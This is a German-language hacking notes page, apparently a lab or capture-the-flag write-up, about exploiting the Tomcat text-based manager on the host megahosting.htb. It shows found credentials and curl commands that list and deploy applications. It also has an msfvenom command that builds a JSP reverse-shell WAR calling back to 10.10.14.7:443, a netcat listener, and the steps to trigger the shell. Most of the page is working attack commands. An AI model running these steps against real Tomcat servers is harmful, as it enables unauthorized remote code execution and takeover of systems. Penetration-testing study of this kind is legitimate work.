> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md).

# Tomcat Text Manager

Missbrauch der Bereitstellung über den Tomcat-Text-Manager mit curl, WAR-Payloads und Ausführung einer Reverse Shell.

### **Ausnutzung des Tomcat-Text-Managers**

**Anmeldedaten** gefunden :

`Benutzername = tomcat`

`Passwort = $3cureP4s5w0rd123!`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b501491af4ca7aee49eae3f1de10e4a81e3998a%2Fimage%20(2381).png?alt=media" alt=""><figcaption></figcaption></figure>

**Zugriffsversuch** zu ändern `/manager/html` liefert einen 403-Fehler zurück.<br>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6eb2c77c1be48761ac2f974c25fc2a8c5843ee49%2F%7B277ABB6A-B0D7-4AD1-AE99-FC955717ECA7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. **Alternative über `/host-manager/html`**, kann aber keine Anwendung aus einer `.war` Datei vorhanden sind.

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83d725fadca74faf9ab127fa7a46f0ec6ad72ca2%2F%7B41962656-3540-4B34-80B9-647AA6E89572%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Anwendungen über die Befehlszeile auflisten:**

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70aab835b31457d23340e2caabd669ec93f0cf91%2Fimage%20(2382).png?alt=media" alt=""><figcaption></figcaption></figure>

**Eine Reverse-Shell-WAR-Datei erstellen** durch `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f74d3abd5b672bea779bcb69c687de6caa94bead%2Fimage%20(2383).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Die WAR-Datei bereitstellen** mit curl:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35f58f0612d3d90d56536181cb555cd1facab016%2Fimage%20(2384).png?alt=media" alt=""><figcaption></figcaption></figure>

**Auf die Reverse-Shell-Verbindung warten**

```bash
nc -nlvp 443 
```

**Zugriff auf die Reverse Shell** über `http://megahosting.htb:8080/reverse`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-684597d8863233f4f7918f5368509464eec68709%2Fimage%20(2385).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cce4b11bc9c32ef66f9d57707f0a9361bc5f6e77%2Fimage%20(2386).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


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